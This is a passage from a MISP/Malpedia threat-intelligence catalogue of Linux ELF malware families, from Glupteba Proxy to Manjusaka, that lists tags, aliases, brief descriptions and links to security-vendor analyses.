ARM32 SOCKS proxy, written in Go, used in the Glupteba campaign.

The tag is: *misp-galaxy:malpedia=*“Glupteba Proxy”*

Glupteba Proxy is also known as:

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/elf.glupteba_proxy">https://malpedia.caad.fkie.fraunhofer.de/details/elf.glupteba_proxy</a></td>
</tr>
<tr>
<td><a href="https://thehackernews.com/2022/03/over-200000-microtik-routers-worldwide.html">https://thehackernews.com/2022/03/over-200000-microtik-routers-worldwide.html</a></td>
</tr>
</tbody>
</table>
GobRAT
The tag is: misp-galaxy:malpedia="GobRAT"
GobRAT is also known as:

Table 1931. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/elf.gobrat">https://malpedia.caad.fkie.fraunhofer.de/details/elf.gobrat</a></td>
</tr>
<tr>
<td><a href="https://blogs.jpcert.or.jp/en/2023/05/gobrat.html">https://blogs.jpcert.or.jp/en/2023/05/gobrat.html</a></td>
</tr>
</tbody>
</table>

Godlua
The tag is: misp-galaxy:malpedia="Godlua"
Godlua is also known as:

Table 1932. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/elf.godlua">https://malpedia.caad.fkie.fraunhofer.de/details/elf.godlua</a></td>
</tr>
</tbody>
</table>

GOSH
The tag is: misp-galaxy:malpedia="GOSH"
GOSH is also known as:

Table 1933. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/elf.gosh">https://malpedia.caad.fkie.fraunhofer.de/details/elf.gosh</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/IntezerLabs/status/1291355808811409408">https://twitter.com/IntezerLabs/status/1291355808811409408</a></td>
</tr>
</tbody>
</table>

GreedyAntd
The tag is: misp-galaxy:malpedia="GreedyAntd"
GreedyAntd is also known as:

Table 1934. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/elf.greedyantd">https://malpedia.caad.fkie.fraunhofer.de/details/elf.greedyantd</a></td>
</tr>
<tr>
<td><a href="https://www.intezer.com/blog-technical-analysis-cryptocurrency-mining-war-on-the-cloud/">https://www.intezer.com/blog-technical-analysis-cryptocurrency-mining-war-on-the-cloud/</a></td>
</tr>
</tbody>
</table>
**HabitsRAT (ELF)**

The tag is: `misp-galaxy:malpedia="HabitsRAT (ELF)"

HabitsRAT (ELF) is also known as:

**Table 1935. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/elf.habitsrat">https://malpedia.caad.fkie.fraunhofer.de/details/elf.habitsrat</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/michalmalik/status/1435918937162715139">https://twitter.com/michalmalik/status/1435918937162715139</a></td>
</tr>
</tbody>
</table>

**Haiduc**

The tag is: `misp-galaxy:malpedia="Haiduc"

Haiduc is also known as:

**Table 1936. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/elf.haiduc">https://malpedia.caad.fkie.fraunhofer.de/details/elf.haiduc</a></td>
</tr>
<tr>
<td><a href="https://documents.trendmicro.com/assets/Perl-Based_Shellbot_Looks_to_Target_Organizations_via_C&amp;C_appendix.pdf">https://documents.trendmicro.com/assets/Perl-Based_Shellbot_Looks_to_Target_Organizations_via_C&amp;C_appendix.pdf</a></td>
</tr>
</tbody>
</table>

**Hajime**

The tag is: `misp-galaxy:malpedia="Hajime"

Hajime is also known as:

**Table 1937. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/elf.hajime">https://malpedia.caad.fkie.fraunhofer.de/details/elf.hajime</a></td>
</tr>
<tr>
<td><a href="https://par.nsf.gov/servlets/purl/10096257">https://par.nsf.gov/servlets/purl/10096257</a></td>
</tr>
<tr>
<td><a href="https://blog.netlab.360.com/p2p-botnets-review-status-continuous-monitoring/">https://blog.netlab.360.com/p2p-botnets-review-status-continuous-monitoring/</a></td>
</tr>
<tr>
<td><a href="https://security.radware.com/WorkArea/DownloadAsset.aspx?id=1461">https://security.radware.com/WorkArea/DownloadAsset.aspx?id=1461</a></td>
</tr>
<tr>
<td><a href="https://x86.re/blog/hajime-a-follow-up/">https://x86.re/blog/hajime-a-follow-up/</a></td>
</tr>
<tr>
<td><a href="https://github.com/Psychotropos/hajime_hashes">https://github.com/Psychotropos/hajime_hashes</a></td>
</tr>
</tbody>
</table>
Hakai

The tag is: misp-galaxy:malpedia="Hakai"

Hakai is also known as:

Table 1938. Table References

Links
- https://malpedia.caad.fkie.fraunhofer.de/details/elf.hakai

HandyMannyPot

The tag is: misp-galaxy:malpedia="HandyMannyPot"

HandyMannyPot is also known as:

Table 1939. Table References

Links
- https://malpedia.caad.fkie.fraunhofer.de/details/elf.handymannypot
- https://twitter.com/liuya0904/status/1171633662502350848

Hand of Thief

The tag is: misp-galaxy:malpedia="Hand of Thief"

Hand of Thief is also known as:

- Hanthie

Table 1940. Table References

Links

HelloBot (ELF)

The tag is: misp-galaxy:malpedia="HelloBot (ELF)"

HelloBot (ELF) is also known as:
Table 1941. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/elf.hellobot">https://malpedia.caad.fkie.fraunhofer.de/details/elf.hellobot</a></td>
</tr>
<tr>
<td><a href="https://blog.exatrack.com/melofee/">https://blog.exatrack.com/melofee/</a></td>
</tr>
</tbody>
</table>

**HelloKitty (ELF)**

Linux version of the HelloKitty ransomware.

The tag is: misp-galaxy:malpedia="HelloKitty (ELF)"

HelloKitty (ELF) is also known as:

Table 1942. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/elf.hellokitty">https://malpedia.caad.fkie.fraunhofer.de/details/elf.hellokitty</a></td>
</tr>
<tr>
<td><a href="https://blog.sekoia.io/vice-society-a-discreet-but-steady-double-extortion-ransomware-group/">https://blog.sekoia.io/vice-society-a-discreet-but-steady-double-extortion-ransomware-group/</a></td>
</tr>
<tr>
<td><a href="https://blog.sekoia.io/vice-society-a-discreet-but-steady-double-extortion-ransomware-group">https://blog.sekoia.io/vice-society-a-discreet-but-steady-double-extortion-ransomware-group</a></td>
</tr>
<tr>
<td><a href="https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself">https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself</a></td>
</tr>
<tr>
<td><a href="https://unit42.paloaltonetworks.com/emerging-ransomware-groups/">https://unit42.paloaltonetworks.com/emerging-ransomware-groups/</a></td>
</tr>
<tr>
<td><a href="https://www.govinfosecurity.com/vice-society-ransomware-gang-disrupted-spar-stores-a-18225">https://www.govinfosecurity.com/vice-society-ransomware-gang-disrupted-spar-stores-a-18225</a></td>
</tr>
<tr>
<td><a href="https://soolsnake.github.io/2021/07/17/hellokitty_linux.html">https://soolsnake.github.io/2021/07/17/hellokitty_linux.html</a></td>
</tr>
</tbody>
</table>

**HiatusRAT**

Lumen discovered this malware used in campaign targeting business-grade routers using a RAT they call HiatusRAT and a variant of tcpdump for traffic interception.
HiatusRAT is also known as:

Table 1943. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/elf.hiatus_rat">https://malpedia.caad.fkie.fraunhofer.de/details/elf.hiatus_rat</a></td>
</tr>
</tbody>
</table>

**HiddenWasp**

HiddenWasp is a Linux-based Trojan used to target systems for remote control. It comes in the form of a statically linked ELF binary with stdlibc++.

The tag is: *misp-galaxy:malpedia="HiddenWasp"

HiddenWasp is also known as:

Table 1944. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/elf.hiddenwasp">https://malpedia.caad.fkie.fraunhofer.de/details/elf.hiddenwasp</a></td>
</tr>
<tr>
<td><a href="https://www.intezer.com/blog-hiddenwasp-malware-targeting-linux-systems/">https://www.intezer.com/blog-hiddenwasp-malware-targeting-linux-systems/</a></td>
</tr>
</tbody>
</table>

**Hide and Seek**

The tag is: *misp-galaxy:malpedia="Hide and Seek"

Hide and Seek is also known as:

- HNS

Table 1945. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/elf.hideandseek">https://malpedia.caad.fkie.fraunhofer.de/details/elf.hideandseek</a></td>
</tr>
<tr>
<td><a href="https://threatlabs.avast.com/botnet">https://threatlabs.avast.com/botnet</a></td>
</tr>
</tbody>
</table>
HinataBot

HinataBot is a Go-based DDoS-focused botnet. It was observed in the first quarter of 2023 targeting HTTP and SSH endpoints leveraging old vulnerabilities and weak credentials. Amongst those infection vectors are exploitation of the miniigd SOAP service on Realtek SDK devices (CVE-2014-8361), Huawei HG532 routers (CVE-2017-17215), and exposed Hadoop YARN servers.

The tag is: misp-galaxy:malpedia="HinataBot"

HinataBot is also known as:

Table 1946. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/elf.hinata_bot">https://malpedia.caad.fkie.fraunhofer.de/details/elf.hinata_bot</a></td>
</tr>
<tr>
<td><a href="https://www.akamai.com/blog/security-research/hinatabot-uncovering-new-golang-ddos-botnet">https://www.akamai.com/blog/security-research/hinatabot-uncovering-new-golang-ddos-botnet</a></td>
</tr>
</tbody>
</table>

Hipid

The tag is: misp-galaxy:malpedia="Hipid"

Hipid is also known as:

Table 1947. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/elf.hipid">https://malpedia.caad.fkie.fraunhofer.de/details/elf.hipid</a></td>
</tr>
</tbody>
</table>

Hive (ELF)

The tag is: misp-galaxy:malpedia="Hive (ELF)"
Hive (ELF) is also known as:

Table 1948. Table References

Links

<table>
<thead>
<tr>
<th>Link</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/elf.hive">https://malpedia.caad.fkie.fraunhofer.de/details/elf.hive</a></td>
</tr>
<tr>
<td><a href="https://github.com/reecdeep/HiveV5_file_decryptor">https://github.com/reecdeep/HiveV5_file_decryptor</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/ESETresearch/status/1454100591261667329">https://twitter.com/ESETresearch/status/1454100591261667329</a></td>
</tr>
<tr>
<td><a href="https://thehackernews.com/2022/02/master-key-for-hive-ransomware.html">https://thehackernews.com/2022/02/master-key-for-hive-ransomware.html</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/malwrhunterteam/status/1455628865229950979">https://twitter.com/malwrhunterteam/status/1455628865229950979</a></td>
</tr>
<tr>
<td><a href="https://securityaffairs.co/wordpress/128232/security/recover-files-hive-ransomware.html">https://securityaffairs.co/wordpress/128232/security/recover-files-hive-ransomware.html</a></td>
</tr>
<tr>
<td><a href="https://krebsonsecurity.com/2023/05/russian-hacker-wazawaka-indicted-for-ransomware/">https://krebsonsecurity.com/2023/05/russian-hacker-wazawaka-indicted-for-ransomware/</a></td>
</tr>
<tr>
<td><a href="https://www.threatstop.com/blog/first-conti-then-hive-costa-rica-gets-hit-with-ransomware-again">https://www.threatstop.com/blog/first-conti-then-hive-costa-rica-gets-hit-with-ransomware-again</a></td>
</tr>
<tr>
<td><a href="https://blog.group-ib.com/hive">https://blog.group-ib.com/hive</a></td>
</tr>
<tr>
<td><a href="https://query.prod.cms.rt.microsoft.com/cms/api/am/binary/RE54L7v">https://query.prod.cms.rt.microsoft.com/cms/api/am/binary/RE54L7v</a></td>
</tr>
<tr>
<td><a href="https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-">https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-</a> protect-yourself</td>
</tr>
<tr>
<td><a href="https://yoroi.company/research/on-the-footsteps-of-hive-ransomware/">https://yoroi.company/research/on-the-footsteps-of-hive-ransomware/</a></td>
</tr>
<tr>
<td><a href="https://github.com/rivitna/Malware/tree/main/Hive">https://github.com/rivitna/Malware/tree/main/Hive</a></td>
</tr>
</tbody>
</table>
Horse Shell

Checkpoint Research describes this as part of a custom firmware image affiliated with the Chinese state-sponsored actor “Camaro Dragon”, a custom MIPS32 ELF implant. HorseShell, the main implant inserted into the modified firmware by the attackers, provides the attacker with 3 main functionalities: * Remote shell: Execution of arbitrary shell commands on the infected router * File transfer: Upload and download files to and from the infected router. * SOCKS tunneling: Relay communication between different clients.

The tag is: misp-galaxy:malpedia="Horse Shell"

Horse Shell is also known as:

Table 1949. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/elf.horseshell">https://malpedia.caad.fkie.fraunhofer.de/details/elf.horseshell</a></td>
</tr>
</tbody>
</table>

Hubnr

The tag is: misp-galaxy:malpedia="Hubnr"

Hubnr is also known as:

Table 1950. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/elf.hubnr">https://malpedia.caad.fkie.fraunhofer.de/details/elf.hubnr</a></td>
</tr>
<tr>
<td><a href="https://github.com/carbreal/Malware_Analysis/tree/master/Hubnr_botnet">https://github.com/carbreal/Malware_Analysis/tree/master/Hubnr_botnet</a></td>
</tr>
</tbody>
</table>

HyperSSL (ELF)

The tag is: misp-galaxy:malpedia="HyperSSL (ELF)"

HyperSSL (ELF) is also known as:

• SysUpdate

Table 1951. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/elf.hyperssl">https://malpedia.caad.fkie.fraunhofer.de/details/elf.hyperssl</a></td>
</tr>
</tbody>
</table>
**iceFire**

The tag is: `misp-galaxy:malpedia="iceFire"`

iceFire is also known as:

Table 1952. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/elf.icefire">https://malpedia.caad.fkie.fraunhofer.de/details/elf.icefire</a></td>
</tr>
</tbody>
</table>

**Icnanker**

The tag is: `misp-galaxy:malpedia="Icnanker"`

Icnanker is also known as:

Table 1953. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/elf.icnanker">https://malpedia.caad.fkie.fraunhofer.de/details/elf.icnanker</a></td>
</tr>
</tbody>
</table>

**IoT Reaper**

The tag is: `misp-galaxy:malpedia="IoT Reaper"`

IoT Reaper is also known as:

- IoTroop
- Reaper
- iotreaper

Table 1954. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/elf.iot_reaper">https://malpedia.caad.fkie.fraunhofer.de/details/elf.iot_reaper</a></td>
</tr>
<tr>
<td><a href="https://research.checkpoint.com/new-iot-botnet-storm-coming/">https://research.checkpoint.com/new-iot-botnet-storm-coming/</a></td>
</tr>
</tbody>
</table>
**IPStorm (ELF)**

The tag is: *misp-galaxy:malpedia="IPStorm (ELF)"

IPStorm (ELF) is also known as:

- InterPlanetary Storm

*Table 1955. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/elf.ipstorm">https://malpedia.caad.fkie.fraunhofer.de/details/elf.ipstorm</a></td>
</tr>
<tr>
<td><a href="https://www.intezer.com/blog/research/a-storm-is-brewing-ipstorm-now-has-linux-malware/">https://www.intezer.com/blog/research/a-storm-is-brewing-ipstorm-now-has-linux-malware/</a></td>
</tr>
</tbody>
</table>

**IZ1H9**

According to Fortinet, this is a Mirai-based DDoS botnet.

The tag is: *misp-galaxy:malpedia="IZ1H9"

IZ1H9 is also known as:

*Table 1956. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/elf.iz1h9">https://malpedia.caad.fkie.fraunhofer.de/details/elf.iz1h9</a></td>
</tr>
<tr>
<td><a href="https://www.fortinet.com/blog/threat-research/iz1h9-campaign-enhances-arsenal-with-scores-of-exploits">https://www.fortinet.com/blog/threat-research/iz1h9-campaign-enhances-arsenal-with-scores-of-exploits</a></td>
</tr>
</tbody>
</table>

**JenX**

The tag is: *misp-galaxy:malpedia="JenX"

JenX is also known as:

*Table 1957. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/elf.jenx">https://malpedia.caad.fkie.fraunhofer.de/details/elf.jenx</a></td>
</tr>
</tbody>
</table>
Kaiji

Surfaced in late April 2020, Intezer describes Kaiji as a DDoS malware written in Go that spreads through SSH brute force attacks. Recovered function names are an English representation of Chinese words, hinting about the origin. The name Kaiji was given by MalwareMustDie based on strings found in samples.

The tag is: misp-galaxy:malpedia="Kaiji"

Kaiji is also known as:

Table 1958. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/elf.kaiji">https://malpedia.caad.fkie.fraunhofer.de/details/elf.kaiji</a></td>
</tr>
<tr>
<td><a href="https://intezer.com/blog/research/kaiji-new-chinese-linux-malware-turning-to-golang/">https://intezer.com/blog/research/kaiji-new-chinese-linux-malware-turning-to-golang/</a></td>
</tr>
<tr>
<td><a href="https://www.ibm.com/downloads/cas/WMDZOWK6?social_post=5483919673&amp;linkId=131648775">https://www.ibm.com/downloads/cas/WMDZOWK6?social_post=5483919673&amp;linkId=131648775</a></td>
</tr>
</tbody>
</table>

Kaiten

According to netenrich, Kaiten is a Trojan horse that opens a back door on the compromised computer that allows it to perform other malicious activities. The trojan does not create any copies of itself. This Backdoor arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

The tag is: misp-galaxy:malpedia="Kaiten"

Kaiten is also known as:

• STD

Table 1959. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/elf.kaiten">https://malpedia.caad.fkie.fraunhofer.de/details/elf.kaiten</a></td>
</tr>
<tr>
<td><a href="https://www.lacework.com/the-kek-security-network/">https://www.lacework.com/the-kek-security-network/</a></td>
</tr>
<tr>
<td><a href="https://www.blackarrow.net/attackers-abuse-mobileirons-rce-to-deliver-kaiten/">https://www.blackarrow.net/attackers-abuse-mobileirons-rce-to-deliver-kaiten/</a></td>
</tr>
</tbody>
</table>
kerberods

The tag is: *misp-galaxy:malpedia="kerberods"*

kerberods is also known as:

Table 1960. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/elf.kerberods">https://malpedia.caad.fkie.fraunhofer.de/details/elf.kerberods</a></td>
</tr>
<tr>
<td><a href="https://isc.sans.edu/forums/diary/Vulnerable+Apache+Jenkins+exploited+in+the+wild/24916">https://isc.sans.edu/forums/diary/Vulnerable+Apache+Jenkins+exploited+in+the+wild/24916</a></td>
</tr>
</tbody>
</table>

KEYPLUG

The tag is: *misp-galaxy:malpedia="KEYPLUG"*

KEYPLUG is also known as:

- ELFSHELF

Table 1961. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/elf.keyplug">https://malpedia.caad.fkie.fraunhofer.de/details/elf.keyplug</a></td>
</tr>
<tr>
<td><a href="https://experience.mandiant.com/trending-evil/p/1">https://experience.mandiant.com/trending-evil/p/1</a></td>
</tr>
<tr>
<td><a href="https://www.mandiant.com/resources/apt41-us-state-governments">https://www.mandiant.com/resources/apt41-us-state-governments</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/CyberJack42/status/1501290277864046595">https://twitter.com/CyberJack42/status/1501290277864046595</a></td>
</tr>
<tr>
<td><a href="https://go.recordedfuture.com/hubfs/reports/cta-2023-0330.pdf">https://go.recordedfuture.com/hubfs/reports/cta-2023-0330.pdf</a></td>
</tr>
</tbody>
</table>
**kfos**

The tag is: *misp-galaxy:malpedia="kfos"

kfos is also known as:

Table 1962. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/elf.kfos">https://malpedia.caad.fkie.fraunhofer.de/details/elf.kfos</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/r3dbU7z/status/1378564694462586880">https://twitter.com/r3dbU7z/status/1378564694462586880</a></td>
</tr>
</tbody>
</table>

**Kinsing**

The tag is: *misp-galaxy:malpedia="Kinsing"

Kinsing is also known as:

- h2miner

Table 1963. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/elf.kinsing">https://malpedia.caad.fkie.fraunhofer.de/details/elf.kinsing</a></td>
</tr>
<tr>
<td><a href="https://sysdig.com/blog/zoom-into-kinsing-kdevtmpfsi/">https://sysdig.com/blog/zoom-into-kinsing-kdevtmpfsi/</a></td>
</tr>
<tr>
<td><a href="https://www.ibm.com/downloads/cas/WMDZOWK6?social_post=5483919673&amp;linkId=131648775">https://www.ibm.com/downloads/cas/WMDZOWK6?social_post=5483919673&amp;linkId=131648775</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/IntezerLabs/status/1259818964848386048">https://twitter.com/IntezerLabs/status/1259818964848386048</a></td>
</tr>
<tr>
<td><a href="https://redcanary.com/blog/kinsing-malware-citrix-saltstack/">https://redcanary.com/blog/kinsing-malware-citrix-saltstack/</a></td>
</tr>
<tr>
<td><a href="https://unit42.paloaltonetworks.com/atoms/moneylibra/">https://unit42.paloaltonetworks.com/atoms/moneylibra/</a></td>
</tr>
</tbody>
</table>
KIVARS (ELF)

The tag is: `misp-galaxy:malpedia="KIVARS (ELF)"

KIVARS (ELF) is also known as:

Table 1964. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/elf.kivars">https://malpedia.caad.fkie.fraunhofer.de/details/elf.kivars</a></td>
</tr>
</tbody>
</table>

Kobalos

The tag is: `misp-galaxy:malpedia="Kobalos"

Kobalos is also known as:

Table 1965. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/elf.kobalos">https://malpedia.caad.fkie.fraunhofer.de/details/elf.kobalos</a></td>
</tr>
<tr>
<td><a href="https://team-cymru.com/blog/2021/02/05/kobalos-malware-mapping/">https://team-cymru.com/blog/2021/02/05/kobalos-malware-mapping/</a></td>
</tr>
</tbody>
</table>
**Lady**

The tag is: `misp-galaxy:malpedia="Lady"`

Lady is also known as:

*Table 1966. Table References*

<table>
<thead>
<tr>
<th>Links</th>
<th></th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/elf.lady">https://malpedia.caad.fkie.fraunhofer.de/details/elf.lady</a></td>
<td></td>
</tr>
<tr>
<td><a href="https://news.drweb.com/news/?i=10140&amp;lng=en">https://news.drweb.com/news/?i=10140&amp;lng=en</a></td>
<td></td>
</tr>
</tbody>
</table>

**LeetHozer**

The tag is: `misp-galaxy:malpedia="LeetHozer"`

LeetHozer is also known as:

*Table 1967. Table References*

<table>
<thead>
<tr>
<th>Links</th>
<th></th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/elf.leethozer">https://malpedia.caad.fkie.fraunhofer.de/details/elf.leethozer</a></td>
<td></td>
</tr>
<tr>
<td><a href="https://blog.netlab.360.com/the-leethozer-botnet-en/">https://blog.netlab.360.com/the-leethozer-botnet-en/</a></td>
<td></td>
</tr>
</tbody>
</table>

**Lightning Framework**

The tag is: `misp-galaxy:malpedia="Lightning Framework"`

Lightning Framework is also known as:

*Table 1968. Table References*

<table>
<thead>
<tr>
<th>Links</th>
<th></th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/elf.lightning">https://malpedia.caad.fkie.fraunhofer.de/details/elf.lightning</a></td>
<td></td>
</tr>
<tr>
<td><a href="https://www.intezer.com/blog/research/lightning-framework-new-linux-threat/">https://www.intezer.com/blog/research/lightning-framework-new-linux-threat/</a></td>
<td></td>
</tr>
</tbody>
</table>

**LiLock**

The tag is: `misp-galaxy:malpedia="LiLock"`

LiLock is also known as:

- Lilocked
- Lilu

*Table 1969. Table References*

<table>
<thead>
<tr>
<th>Links</th>
<th></th>
</tr>
</thead>
</table>
**lilyofthevalley**

The tag is: `misp-galaxy:malpedia="lilyofthevalley"`

lilyofthevalley is also known as:

*Table 1970. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/elf.lilyofthevalley">https://malpedia.caad.fkie.fraunhofer.de/details/elf.lilyofthevalley</a></td>
</tr>
<tr>
<td><a href="https://github.com/En14c/LilyOfTheValley">https://github.com/En14c/LilyOfTheValley</a></td>
</tr>
</tbody>
</table>

**LiquorBot**

BitDefender tracked the development of a Mirai-inspired botnet, dubbed LiquorBot, which seems to be actively in development and has recently incorporated Monero cryptocurrency mining features. Interestingly, LiquorBot is written in Go (also known as Golang), which offers some programming advantages over traditional C-style code, such as memory safety, garbage collection, structural typing, and even CSP-style concurrency.

The tag is: `misp-galaxy:malpedia="LiquorBot"`

LiquorBot is also known as:

*Table 1971. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/elf.liquorbot">https://malpedia.caad.fkie.fraunhofer.de/details/elf.liquorbot</a></td>
</tr>
</tbody>
</table>

**LockBit (ELF)**

The tag is: `misp-galaxy:malpedia="LockBit (ELF)"

LockBit (ELF) is also known as:

*Table 1972. Table References*
Loerbas

Loader and Cleaner components used in attacks against high-performance computing centers in Europe.

The tag is: *misp-galaxy:malpedia*="Loerbas"

Loerbas is also known as:

*Table 1973. Table References*
Log Collector

The tag is: `misp-galaxy:malpedia=“Log Collector”`

Log Collector is also known as:

Table 1974. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/elf.log_collector">https://malpedia.caad.fkie.fraunhofer.de/details/elf.log_collector</a></td>
</tr>
<tr>
<td><a href="https://blog.netlab.360.com/dacls-the-dual-platform-rat/">https://blog.netlab.360.com/dacls-the-dual-platform-rat/</a></td>
</tr>
</tbody>
</table>

Lootwodniw

The tag is: `misp-galaxy:malpedia=“Lootwodniw”`

Lootwodniw is also known as:

Table 1975. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/elf.lootwodniw">https://malpedia.caad.fkie.fraunhofer.de/details/elf.lootwodniw</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/ddash_ct/status/1326887125103616000">https://twitter.com/ddash_ct/status/1326887125103616000</a></td>
</tr>
</tbody>
</table>

Luna

ESXi encrypting ransomware written in Rust.

The tag is: `misp-galaxy:malpedia=“Luna”`

Luna is also known as:

Table 1976. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/elf.luna">https://malpedia.caad.fkie.fraunhofer.de/details/elf.luna</a></td>
</tr>
<tr>
<td><a href="https://nikhilh-20.github.io/blog/luna_ransomware/">https://nikhilh-20.github.io/blog/luna_ransomware/</a></td>
</tr>
</tbody>
</table>
**Manjusaka (ELF)**

Cisco Talos compared this RAT to Cobalt Strike and Sliver. Written in Rust.

The tag is: `misp-galaxy:malpedia="Manjusaka (ELF)"

Manjusaka (ELF) is also known as:

**Table 1977. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/elf.manjusaka">malpedia.caad.fkie.fraunhofer.de/details/elf.manjusaka</a></td>
</tr>
<tr>
